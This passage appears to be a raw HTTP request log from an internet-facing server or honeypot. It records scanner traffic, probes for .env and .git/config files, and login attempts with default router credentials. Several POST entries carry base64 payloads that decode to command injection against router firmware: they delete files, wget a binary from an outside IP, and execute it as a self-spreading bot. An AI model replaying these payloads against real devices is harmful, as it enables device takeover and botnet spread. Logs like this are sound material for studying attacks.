"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept_Encoding": "gzip", "Accept_Language": "en;q=0.9", "Cache_Control": "max-age=0", "Connection": "keep-alive", "DNT": "1", "Host": "116.202.22.148:8080", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Sec-Gpc": "1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "36.99.136.128", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept_Encoding": "gzip", "Accept_Language": "en;q=0.9", "Cache_Control": "max-age=0", "Connection": "keep-alive", "DNT": "1", "Host": "swarm-dev.tmnow.net:8080", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Sec-Gpc": "1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "36.99.136.136", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept_Encoding": "gzip", "Accept_Language": "en;q=0.9", "Cache_Control": "max-age=0", "Connection": "keep-alive", "DNT": "1", "Host": "116.202.22.148:8080", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Sec-Gpc": "1", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "36.99.136.128", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept_Encoding": "gzip", "Accept_Language": "en;q=0.9", "Cache_Control": "max-age=0", "Connection": "keep-alive", "DNT": "1", "Host": "swarm-dev.tmnow.net:8080", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Sec-Gpc": "1", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "104.199.31.214", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.31.0", "x-datadog-trace-id": "4022988009961804125", "x-datadog-parent-id": "9685836189968230277", "x-datadog-sampling-priority": "0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "78.108.177.52", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "46.174.191.32", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "185.216.71.70", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.28.2", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "185.216.71.70", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.28.2", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "185.216.71.70", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.28.2", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "185.216.71.70", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.28.2", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "205.210.31.152", "Accept": "*/*", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "167.248.133.185", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.185", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "apps.bekagvazava.com", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.185", "Accept_Encoding": "gzip", "Connection": "close", "Host": "apps.bekagvazava.com", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "162.142.125.213", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "162.142.125.213", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "162.142.125.213", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "138.199.60.32", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "71.6.232.20", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "162.243.138.49", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "200.89.105.142", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "46.174.191.30", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "185.254.37.107", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Length": "29", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "Origin": "http://116.202.22.148:80", "Referer": "http://116.202.22.148:80/admin/login.asp", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "POST", "Path": "/boaform/admin/formLogin", "Http_Version": "HTTP/1.1", "POST_Payload": "dXNlcm5hbWU9YWRtaW4mcHNkPUZlZWZpZm9mdW0NCg0K"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "198.235.24.47", "Host": "116.202.22.148:8080", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "162.219.193.211", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "177.234.199.21", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "92.119.176.47", "Cookie": "user=admin", "Method": "POST", "Path": "/goform/set_LimitClient_cfg", "Http_Version": "HTTP/1.1", "POST_Payload": "dGltZTE9MDA6MDAtMDA6MDAmdGltZTI9MDA6MDAtMDA6MDAmbWFjPTtybSAtcmYgKmFybSo7IHJtIC1yZiAqYXJtNSo7IHJtIC1yZiAqYXJtNio7IHJtIC1yZiAqYXJtNyo7IHJtIC1yZiAqbTY4ayo7IHJtIC1yZiAqbWlwcyo7IHJtIC1yZiAqbXBzbCo7IHJtIC1yZiAqcHBjKjsgcm0gLXJmICpzaDQqOyBybSAtcmYgKnNwYyo7IHJtIC1yZiAqeDg2Kjsgcm0gLXJmICp4ODZfNjQqO3dnZXQgaHR0cDovLzEwMy42Ny4xOTcuODcvc2t5bGpuZS5tcHNsOyBjaG1vZCA3Nzcgc2t5bGpuZS5tcHNsOyAuL3NreWxqbmUubXBzbCBsYmxpbmsuc2VsZnJlcDsNCg0K"} -{"ip": "79.110.62.146", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "close", "Host": "116.202.22.148:80", "Upgrade_Insecure_Requests": "1", "User_Agent": "Linux Gnu (cow)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "118.126.124.10", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Host": "116.202.22.148", "User_Agent": "Python/3.6 aiohttp/3.8.3", "X-Test-Token": "f1b600cef73c4757dc04c2f9349609b5", "Method": "HEAD", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "199.45.155.32", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "78.108.177.50", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.190", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "79.110.62.146", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "close", "Host": "116.202.22.148:80", "Upgrade_Insecure_Requests": "1", "User_Agent": "Linux Gnu (cow)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "162.243.139.14", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "162.216.150.254", "Host": "116.202.22.148:80", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.199", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.94.145.52", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.94.145.52", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.94.145.52", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "139.59.182.23", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-US,en;q=0.9", "Cache_Control": "no-cache", "Host": "apps.bekagvazava.com", "Pragma": "no-cache", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "18.119.179.222", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; Android 8.0.0; Pixel 2 XL Build/OPD1.170816.004) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Mobile Safari/537.36", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "37.120.232.44", "Accept": "*/*", "Host": "116.202.22.148", "Method": "GET", "Path": "/restore.php", "Http_Version": "HTTP/1.1"} -{"ip": "109.237.97.180", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "20.55.99.207", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "3.84.188.63", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0 Iceweasel/19.0.2", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.192", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "46.174.191.32", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "71.6.165.200", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "identity", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "71.6.165.200", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "71.6.165.200", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "71.6.165.200", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/.well-known/security.txt", "Http_Version": "HTTP/1.1"} -{"ip": "71.6.165.200", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.183", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "146.255.81.98", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.11.60", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "192.241.226.53", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/actuator/health", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "179.43.128.106", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Length": "29", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "Origin": "http://116.202.22.148:80", "Referer": "http://116.202.22.148:80/admin/login.asp", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "POST", "Path": "/boaform/admin/formLogin", "Http_Version": "HTTP/1.1", "POST_Payload": "dXNlcm5hbWU9YWRtaW4mcHNkPUZlZWZpZm9mdW0NCg0K"} -{"ip": "198.235.24.135", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.192", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "183.136.225.29", "Accept": "*/*", "Connection": "keep-alive", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "183.136.225.29", "Accept": "*/*", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "183.136.225.29", "Accept": "*/*", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "183.136.225.29", "Accept": "*/*", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "149.50.96.22", "Host": "116.202.22.148:80", "User_Agent": "Hello World/1.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "151.245.12.231", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "103.178.228.44", "Host": "www.google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "www.google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.194", "Accept_Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.194", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.194", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.194", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.194", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA=", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.27.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "3.84.188.63", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/51.0.2704.79 Chrome/51.0.2704.79 Safari/537.36", "Method": "GET", "Path": "/Dockerrun.aws.json", "Http_Version": "HTTP/1.1"} -{"ip": "93.57.18.42", "Cookie": "user=admin", "Method": "POST", "Path": "/goform/set_LimitClient_cfg", "Http_Version": "HTTP/1.1", "POST_Payload": "dGltZTE9MDA6MDAtMDA6MDAmdGltZTI9MDA6MDAtMDA6MDAmbWFjPTt3Z2V0IGh0dHA6Ly8xMDMuNjcuMTk3LjIzMy9tcHNsOyBjaG1vZCA3NzcgbXBzbDsgLi9tcHNsIGxibGluay5zZWxmcmVwOw0KDQo="} -{"ip": "205.210.31.42", "Host": "static.148.22.202.116.clients.your-server.de", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "205.210.31.212", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "116.15.132.195", "Cookie": "user=admin", "Method": "POST", "Path": "/goform/set_LimitClient_cfg", "Http_Version": "HTTP/1.1", "POST_Payload": "dGltZTE9MDA6MDAtMDA6MDAmdGltZTI9MDA6MDAtMDA6MDAmbWFjPTtybSAtcmYgKmFybSo7IHJtIC1yZiAqYXJtNSo7IHJtIC1yZiAqYXJtNio7IHJtIC1yZiAqYXJtNyo7IHJtIC1yZiAqbTY4ayo7IHJtIC1yZiAqbWlwcyo7IHJtIC1yZiAqbXBzbCo7IHJtIC1yZiAqcHBjKjsgcm0gLXJmICpzaDQqOyBybSAtcmYgKnNwYyo7IHJtIC1yZiAqeDg2Kjsgcm0gLXJmICp4ODZfNjQqO3dnZXQgaHR0cDovLzEwMy42Ny4xOTcuODcvc2t5bGpuZS5tcHNsOyBjaG1vZCA3Nzcgc2t5bGpuZS5tcHNsOyAuL3NreWxqbmUubXBzbCBsYmxpbmsuc2VsZnJlcDsNCg0K"} -{"ip": "128.14.239.39", "Accept_Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Host": "116.202.22.148:8080", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "128.14.239.39", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "128.14.239.39", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "128.14.239.39", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) 